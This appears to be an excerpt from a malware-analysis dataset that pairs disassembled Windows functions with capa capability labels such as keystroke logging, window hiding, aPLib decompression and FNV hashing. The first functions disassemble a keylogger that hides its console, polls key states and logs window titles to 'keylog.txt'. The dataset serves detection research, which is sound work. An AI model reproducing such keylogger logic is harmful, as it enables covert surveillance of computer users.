joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001680
Capabilities:
Get graphical window text

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x140001717
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xa8]
mov r8d, 0x100
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rdx, section..rdata
lea rcx, str.keylog.txt
call sub.msvcrt.dll_fopen
mov qword [rbp + 0xa0], rax
cmp qword [rbp + 0xa0], 0
je 0x140001717
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xa0]
mov r8, rdx
lea rdx, str._n_Window:__s__n
mov rcx, rax
call fcn.140001550
mov rax, qword [rbp + 0xa0]
mov rcx, rax
call sub.msvcrt.dll_fclose
nop
add rsp, 0x130
pop rbp
ret

Function at 0x140001721
Capabilities:
Hide graphical window
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call fcn.140001860
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rbp - 4], 8
jmp 0x140001785
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x140001781
call fcn.140001680
mov eax, dword [rbp - 4]
mov ecx, eax
call fcn.140001593
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0xff
jle 0x140001751
jmp 0x140001748

Function at 0x140001a80
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007a10
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007a10
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140001af0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x14000c0a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001ca0
mov rax, qword [0x14000c0a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001b3c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001bc7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001b20
mov rcx, r12
call fcn.1400025a0
mov rbp, rax
test rax, rax
je 0x140001cfd
mov rax, qword [0x14000c0a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.1400026d0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000c0a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ce2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001bc0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001c50
add dword [0x14000c0a4], 1
cmp ebx, 8
jae 0x140001bf8
test bl, 4
jne 0x140001cb0
test ebx, ebx
je 0x140001be9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001cd0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001be9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140001c2a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x14000c0a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001bc0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001a80
xor edi, edi
jmp 0x140001b47
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001be9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001be9
mov rax, qword [0x14000c0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140001a80
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001a80
nop
nop dword [rax]
Function at 0x140002210
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000c100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c0e0]
test rbx, rbx
je 0x140002264
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000225b
test r12, r12
je 0x14000225b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002240
lea rcx, [0x14000c100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400025a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140009720]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002619
mov rcx, r10
call fcn.140002470
test eax, eax
je 0x140002619
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002616
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000260d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002619
add r8, 0x28
cmp r8, r9
jne 0x1400025f8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x142a2e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.142a2e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x142a2e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x142a2e06f
add dl, dl
jne 0x142a2e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x142a2e0f6
xor eax, eax
add dl, dl
jne 0x142a2e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x142a2e1ad
add dl, dl
jne 0x142a2e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x142a2e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x142a2e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x142a2e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x142a2e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x142a2e07e
mov eax, 1
add dl, dl
jne 0x142a2e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x142a2e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x142a2e0fb
sub eax, ebx
mov ebx, 1
jne 0x142a2e14c
mov ecx, 1
add dl, dl
jne 0x142a2e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x142a2e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x142a2e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x142a2e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x142a2e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x142a2e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x142a2e15d
cmp eax, 0x7d00
jae 0x142a2e19b
cmp eax, 0x500
jb 0x142a2e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x142a2e07e
cmp eax, 0x7f
ja 0x142a2e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x142a2e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x142a2e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x142a2e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1800099f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov r10, qword [0x1801b9bb0]
movabs rcx, 0xcbf29ce484222325
mov dword [rsp + 0x10], edx
xor r8d, r8d
mov r9, qword [r10 + 0x1c0]
movzx eax, byte [rsp + r8 + 0x10]
movabs r11, 0x100000001b3
xor rcx, rax
inc r8
imul rcx, r11
cmp r8, 4
jb 0x180009a0f
mov r8, qword [r10 + 0x1e8]
and r8, rcx
mov rcx, qword [r10 + 0x1d0]
add r8, r8
mov rax, qword [rcx + r8*8 + 8]
cmp rax, r9
je 0x180009a63
mov rcx, qword [rcx + r8*8]
jmp 0x180009a5c
cmp rax, rcx
je 0x180009a63
mov rax, qword [rax + 8]
cmp edx, dword [rax + 0x10]
jne 0x180009a53
jmp 0x180009a65
xor eax, eax
test rax, rax
cmove rax, r9
cmp rax, r9
setne al
ret
Function at 0x18000eec4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov r13, r8
mov rsi, rdx
mov rbp, rcx
xor ecx, ecx
movabs r15, 0xcbf29ce484222325
movzx eax, byte [rcx + r8]
xor r15, rax
movabs rdx, 0x100000001b3
imul r15, rdx
inc rcx
cmp rcx, 4
jb 0x18000eef5
mov rax, qword [rbp + 0x30]
and rax, r15
add rax, rax
mov rcx, qword [rbp + 0x18]
mov rbx, qword [rcx + rax*8 + 8]
lea rdx, [rbp + 8]
mov r12, qword [rdx]
cmp rbx, r12
jne 0x18000ef3b
mov rbx, r12
mov r14, r12
jmp 0x18000ef83
mov rdx, qword [rcx + rax*8]
mov eax, dword [r8]
jmp 0x18000ef4d
cmp rbx, rdx
je 0x18000ef79
mov rbx, qword [rbx + 8]
cmp eax, dword [rbx + 0x10]
jne 0x18000ef44
mov qword [rsi], rbx
mov byte [rsi + 8], 0
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov r12, rbx
mov r14, rbx
lea rdx, [rbp + 8]
movabs rax, 0x492492492492492
cmp qword [rbp + 0x10], rax
je 0x18000f0dc
mov qword [rsp + 0x20], rdx
and qword [rsp + 0x28], 0
mov ecx, 0x38
call fcn.180095eac
mov rdi, rax
mov qword [rsp + 0x28], rax
mov ecx, dword [r13]
mov dword [rax + 0x10], ecx
xorps xmm0, xmm0
movups xmmword [rax + 0x18], xmm0
xor r13d, r13d
mov qword [rax + 0x28], r13
mov qword [rax + 0x30], 0xf
mov byte [rax + 0x18], r13b
mov rcx, qword [rbp + 0x10]
add rcx, 1
xorps xmm0, xmm0
js 0x18000efe9
cvtsi2ss xmm0, rcx
jmp 0x18000effe
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mov rcx, qword [rbp + 0x38]
xorps xmm1, xmm1
test rcx, rcx
js 0x18000f011
cvtsi2ss xmm1, rcx
jmp 0x18000f026
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm1, rax
addss xmm1, xmm1
divss xmm0, xmm1
comiss xmm0, dword [rbp]
jbe 0x18000f07e
mov rcx, rbp
call fcn.18000facc
mov rcx, qword [rbp + 0x30]
and rcx, r15
add rcx, rcx
mov rdx, qword [rbp + 0x18]
mov rax, qword [rdx + rcx*8 + 8]
mov rbx, qword [rbp + 8]
cmp rax, rbx
je 0x18000f071
mov r8, qword [rdx + rcx*8]
mov ecx, dword [rdi + 0x10]
jmp 0x18000f069
mov rbx, rax
cmp rax, r8
je 0x18000f0b2
mov rax, qword [rax + 8]
cmp ecx, dword [rax + 0x10]
jne 0x18000f05d
mov rbx, qword [rax]
mov qword [rsp + 0x20], rbx
mov r14, rbx
mov r12, qword [rsp + 0x20]
mov rdx, qword [rbx + 8]
inc qword [rbp + 0x10]
mov qword [rdi], r12
mov qword [rdi + 8], rdx
mov qword [rdx], rdi
mov qword [rbx + 8], rdi
mov rcx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x30]
and rax, r15
add rax, rax
mov r8, qword [rcx + rax*8]
cmp r8, qword [rbp + 8]
jne 0x18000f0b9
mov qword [rcx + rax*8], rdi
jmp 0x18000f0cb
mov qword [rsp + 0x20], rax
jmp 0x18000f076
cmp r8, r14
jne 0x18000f0c4
mov qword [rcx + rax*8], rdi
jmp 0x18000f0d0
cmp qword [rcx + rax*8 + 8], rdx
jne 0x18000f0d0
mov qword [rcx + rax*8 + 8], rdi
mov qword [rsi], rdi
mov byte [rsi + 8], 1
jmp 0x18000ef59
lea rcx, str.unordered_map_set_too_long
call fcn.180094414
int3
Function at 0x18000f8b4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdx, qword [rcx + 0x10]
mov rsi, rcx
add rdx, 1
mov rbx, qword [rcx + 0x38]
xorps xmm0, xmm0
js 0x18000f8e4
cvtsi2ss xmm0, rdx
jmp 0x18000f8f9
mov rax, rdx
and edx, 1
shr rax, 1
or rax, rdx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [rcx]
call sub.msvcrt.dll_ceilf
movss xmm1, dword [0x1800db724]
xor ecx, ecx
comiss xmm0, xmm1
jb 0x18000f927
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x18000f927
movabs rax, 0x8000000000000000
mov rcx, rax
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rbx, rcx
jae 0x18000f955
cmp rbx, 0x200
jae 0x18000f952
shl rbx, 3
cmp rbx, rcx
jae 0x18000f955
mov rbx, rcx
movabs rax, 0xfffffffffffffff
bsr rcx, rax
mov eax, 1
shl rax, cl
cmp rbx, rax
ja 0x18000fabf
lea rax, [rbx - 1]
mov edi, 1
mov rbx, qword [rsi + 8]
or rax, 1
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.18000da50
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x18000fa83
mov rcx, qword [rcx]
movabs r11, 0xcbf29ce484222325
xor r8d, r8d
movzx edx, byte [rax + r8 + 0x10]
movabs r9, 0x100000001b3
xor r11, rdx
inc r8
imul r11, r9
cmp r8, 4
jb 0x18000f9cd
and r11, qword [rsi + 0x30]
mov rdi, qword [rsi + 0x18]
add r11, r11
cmp qword [rdi + r11*8], rbx
jne 0x18000fa09
mov qword [rdi + r11*8], rax
mov qword [rdi + r11*8 + 8], rax
jmp 0x18000fa77
mov r10, qword [rdi + r11*8 + 8]
mov edx, dword [rax + 0x10]
cmp edx, dword [r10 + 0x10]
jne 0x18000fa4c
mov r10, qword [r10]
cmp r10, rax
je 0x18000fa02
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x18000fa02
mov r10, qword [r10 + 8]
cmp edx, dword [r10 + 0x10]
je 0x18000fa99
cmp qword [rdi + r11*8], r10
jne 0x18000fa42
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [rdi + r11*8], rax
mov rax, rcx
cmp rcx, rbx
jne 0x18000f9bd
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov r10, qword [r10]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x18000fa77
lea rcx, [0x1800d02b0]
call fcn.180094414
int3
Function at 0x18000facc
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdx, qword [rcx + 0x10]
mov rsi, rcx
add rdx, 1
mov rbx, qword [rcx + 0x38]
xorps xmm0, xmm0
js 0x18000fafc
cvtsi2ss xmm0, rdx
jmp 0x18000fb11
mov rax, rdx
and edx, 1
shr rax, 1
or rax, rdx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [rcx]
call sub.msvcrt.dll_ceilf
movss xmm1, dword [0x1800db724]
xor ecx, ecx
comiss xmm0, xmm1
jb 0x18000fb3f
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x18000fb3f
movabs rax, 0x8000000000000000
mov rcx, rax
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rbx, rcx
jae 0x18000fb6d
cmp rbx, 0x200
jae 0x18000fb6a
shl rbx, 3
cmp rbx, rcx
jae 0x18000fb6d
mov rbx, rcx
movabs rax, 0xfffffffffffffff
bsr rcx, rax
mov eax, 1
shl rax, cl
cmp rbx, rax
ja 0x18000fcda
lea rax, [rbx - 1]
mov edi, 1
mov rbx, qword [rsi + 8]
or rax, 1
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.18000da50
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x18000fc9e
mov rcx, qword [rcx]
movabs r8, 0xcbf29ce484222325
xor r9d, r9d
movzx edx, byte [rax + r9 + 0x10]
movabs r10, 0x100000001b3
xor r8, rdx
inc r9
imul r8, r10
cmp r9, 4
jb 0x18000fbe5
mov r11, qword [rsi + 0x30]
mov rdi, qword [rsi + 0x18]
and r11, r8
add r11, r11
cmp qword [rdi + r11*8], rbx
jne 0x18000fc24
mov qword [rdi + r11*8], rax
mov qword [rdi + r11*8 + 8], rax
jmp 0x18000fc92
mov r10, qword [rdi + r11*8 + 8]
mov edx, dword [rax + 0x10]
cmp edx, dword [r10 + 0x10]
jne 0x18000fc67
mov r10, qword [r10]
cmp r10, rax
je 0x18000fc1d
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x18000fc1d
mov r10, qword [r10 + 8]
cmp edx, dword [r10 + 0x10]
je 0x18000fcb4
cmp qword [rdi + r11*8], r10
jne 0x18000fc5d
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [rdi + r11*8], rax
mov rax, rcx
cmp rcx, rbx
jne 0x18000fbd5
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov r10, qword [r10]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x18000fc92
lea rcx, [0x1800d02b0]
call fcn.180094414
int3
Function at 0x1800100dc
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov r12, r8
mov rsi, rdx
xor ecx, ecx
movabs r15, 0xcbf29ce484222325
movzx eax, byte [r8 + rcx]
xor r15, rax
movabs rdx, 0x100000001b3
imul r15, rdx
inc rcx
cmp rcx, 4
jb 0x18001010b
mov rax, qword [0x1801ba6c0]
and rax, r15
add rax, rax
mov rcx, qword [0x1801ba6a8]
mov rbx, qword [rcx + rax*8 + 8]
mov r14, qword [0x1801ba698]
cmp rbx, r14
jne 0x180010157
mov rbx, r14
mov rbp, r14
jmp 0x18001019d
mov rdx, qword [rcx + rax*8]
mov eax, dword [r8]
jmp 0x180010169
cmp rbx, rdx
je 0x180010197
mov rbx, qword [rbx + 8]
cmp eax, dword [rbx + 0x10]
jne 0x180010160
mov qword [rsi], rbx
mov byte [rsi + 8], 0
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret
mov r14, rbx
mov rbp, rbx
movabs rax, 0x492492492492492
cmp qword [0x1801ba6a0], rax
je 0x180010322
lea rax, [0x1801ba698]
mov qword [rsp + 0x20], rax
and qword [rsp + 0x28], 0
mov ecx, 0x38
call fcn.180095eac
mov rdi, rax
mov qword [rsp + 0x28], rax
movups xmm0, xmmword [r12]
movups xmmword [rax + 0x10], xmm0
movups xmm1, xmmword [r12 + 0x10]
movups xmmword [rax + 0x20], xmm1
mov ecx, dword [r12 + 0x20]
mov dword [rax + 0x30], ecx
mov r8, qword [0x1801ba6a0]
lea rcx, [r8 + 1]
xorps xmm0, xmm0
test rcx, rcx
js 0x18001020d
cvtsi2ss xmm0, rcx
jmp 0x180010222
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mov rcx, qword [0x1801ba6c8]
xorps xmm1, xmm1
test rcx, rcx
js 0x180010238
cvtsi2ss xmm1, rcx
jmp 0x18001024d
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm1, rax
addss xmm1, xmm1
divss xmm0, xmm1
comiss xmm0, dword [0x1801ba690]
jbe 0x1800102b5
call fcn.180010718
mov rcx, qword [0x1801ba6c0]
and rcx, r15
add rcx, rcx
mov rdx, qword [0x1801ba6a8]
mov rax, qword [rdx + rcx*8 + 8]
mov rbx, qword [0x1801ba698]
cmp rax, rbx
je 0x1800102a1
mov r8, qword [rdx + rcx*8]
mov ecx, dword [rdi + 0x10]
jmp 0x180010299
mov rbx, rax
cmp rax, r8
je 0x1800102f8
mov rax, qword [rax + 8]
cmp ecx, dword [rax + 0x10]
jne 0x18001028d
mov rbx, qword [rax]
mov qword [rsp + 0x20], rbx
mov rbp, rbx
mov r14, qword [rsp + 0x20]
mov r8, qword [0x1801ba6a0]
mov rdx, qword [rbx + 8]
inc r8
mov qword [0x1801ba6a0], r8
mov qword [rdi], r14
mov qword [rdi + 8], rdx
mov qword [rdx], rdi
mov qword [rbx + 8], rdi
mov rcx, qword [0x1801ba6a8]
mov rax, qword [0x1801ba6c0]
and rax, r15
add rax, rax
mov r8, qword [rcx + rax*8]
cmp r8, qword [0x1801ba698]
jne 0x1800102ff
mov qword [rcx + rax*8], rdi
jmp 0x180010311
mov qword [rsp + 0x20], rax
jmp 0x1800102a6
cmp r8, rbp
jne 0x18001030a
mov qword [rcx + rax*8], rdi
jmp 0x180010316
cmp qword [rcx + rax*8 + 8], rdx
jne 0x180010316
mov qword [rcx + rax*8 + 8], rdi
mov qword [rsi], rdi
mov byte [rsi + 8], 1
jmp 0x180010175
lea rcx, str.unordered_map_set_too_long
call fcn.180094414
int3
Function at 0x18001056c
Capabilities:
Hash data using fnv

Disassembly:
xor r9d, r9d
movabs r8, 0xcbf29ce484222325
test rdx, rdx
je 0x18001059c
movzx eax, byte [rcx + r9]
movabs r10, 0x100000001b3
xor r8, rax
inc r9
imul r8, r10
cmp r9, rdx
jb 0x18001057e
mov rax, r8
ret

Function at 0x180010718
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rcx, qword [0x1801ba6a0]
xorps xmm0, xmm0
add rcx, 1
mov rbx, qword [0x1801ba6c8]
js 0x180010740
cvtsi2ss xmm0, rcx
jmp 0x180010755
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [0x1801ba690]
call sub.msvcrt.dll_ceilf
movss xmm1, dword [0x1800db724]
xor ecx, ecx
comiss xmm0, xmm1
jb 0x180010787
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x180010787
movabs rax, 0x8000000000000000
mov rcx, rax
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rbx, rcx
jae 0x1800107b5
cmp rbx, 0x200
jae 0x1800107b2
shl rbx, 3
cmp rbx, rcx
jae 0x1800107b5
mov rbx, rcx
movabs rax, 0xfffffffffffffff
bsr rcx, rax
mov eax, 1
shl rax, cl
cmp rbx, rax
ja 0x18001092d
lea rax, [rbx - 1]
mov edi, 1
mov rbx, qword [0x1801ba698]
or rax, 1
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x1801ba6a8]
lea rdx, [rdi + rdi]
call fcn.18000da50
mov rax, qword [0x1801ba698]
lea r9, [rdi - 1]
mov qword [0x1801ba6c0], r9
mov qword [0x1801ba6c8], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x180010922
mov rcx, qword [rcx]
movabs r11, 0xcbf29ce484222325
xor r8d, r8d
movzx edx, byte [rax + r8 + 0x10]
movabs r10, 0x100000001b3
xor r11, rdx
inc r8
imul r11, r10
cmp r8, 4
jb 0x18001083c
mov rdi, qword [0x1801ba6a8]
and r11, r9
add r11, r11
cmp qword [rdi + r11*8], rbx
jne 0x18001087a
mov qword [rdi + r11*8], rax
mov qword [rdi + r11*8 + 8], rax
jmp 0x1800108e8
mov r10, qword [rdi + r11*8 + 8]
mov edx, dword [rax + 0x10]
cmp edx, dword [r10 + 0x10]
jne 0x1800108bd
mov r10, qword [r10]
cmp r10, rax
je 0x180010873
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180010873
